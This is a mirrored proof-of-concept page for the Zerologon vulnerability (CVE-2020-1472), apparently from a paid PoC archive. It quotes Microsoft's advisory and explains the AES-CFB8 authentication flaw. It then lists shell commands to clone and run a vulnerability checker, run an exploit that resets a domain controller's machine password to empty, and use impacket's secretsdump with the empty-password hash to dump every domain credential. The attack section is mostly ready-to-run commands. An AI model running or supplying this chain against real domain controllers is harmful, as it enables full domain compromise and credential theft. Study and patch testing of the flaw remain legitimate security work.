Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-1472 PoC — Netlogon Elevation of Privilege Vulnerability

Source
Associated Vulnerability
Title:Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)
Description:An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.
Description
[CVE-2020-1472] Netlogon Remote Protocol Call (MS-NRPC) Privilege Escalation (Zerologon)
Readme
<b>[CVE-2020-1472] Netlogon Remote Protocol Call (MS-NRPC) Privilege Escalation (Zerologon)</b>

The attack described here takes advantage of flaws in a cryptographic authentication protocol (insecure use of AES-CFB8) that proves the authenticity and identity of a domain-joined computer to the Domain Controller (DC). Due to incorrect use of an AES mode of operation it is possible to spoof the identity of any computer account (including that of the DC itself) and set an empty password (simply sending a number of Netlogon messages in which various fields are filled with zeroes) for that account in the domain. This can then be used to obtain domain admin credentials and then restore the original DC password.

<b>In order to checking CVE-2020-1472</b>
- [X] git clone https://github.com/SecuraBV/CVE-2020-1472.git
- [X] cd CVE-2020-1472
- [X] python3 -m venv env
- [X] source env/bin/activate
- [X] pip install -r requirements.txt
- [X] python zerologon_tester.py EXAMPLE-DC 1.2.3.4 (example: ./zerologon_tester.py DC01 172.16.208.161)

<b>In order to exploit CVE-2020-1472</b>
- [X] git clone https://github.com/dirkjanm/CVE-2020-1472.git
- [X] cd CVE-2020-1472
- [X] python3 -m venv env
- [X] source env/bin/activate
- [X] python cve-2020-1472-exploit.py EXAMPLE-DC 1.2.3.4 (example: ./cve-2020-1472-exploit.py DC01 172.16.208.161)
- [X] git clone https://github.com/SecureAuthCorp/impacket.git
- [X] cd impacket
- [X] pip install .
- [X] python setup.py install
- [X] cd examples

<b>Then, run one of the following command</b><br>

<b>Example format 1:</b> python secretsdump.py domain/example-dc\$@fqdn-of-dc<br>
```./secretsdump.py zerologon.local/DC01\$@DC01.zerologon.local -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc```<br>
<b>Example format 2:</b> python secretsdump.py domain/example-dc\$@ip-of-dc<br>
```./secretsdump.py zerologon.local/DC01\$@172.16.208.161 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc```

![Image of PoC](https://github.com/murataydemir/CVE-2020-1472/blob/master/poc.png)

Original blogpost is available [here](https://www.secura.com/pathtoimg.php?id=2055)<br>
Original repository that includes python test script is available [here](https://github.com/SecuraBV/CVE-2020-1472)<br>
Original repository that includes python exploit script is available [here](https://github.com/dirkjanm/CVE-2020-1472)
File Snapshot

[4.0K] /data/pocs/bc85c4d415a6a383719ff134e37071dbb3799577 ├── [978K] poc.png └── [2.4K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →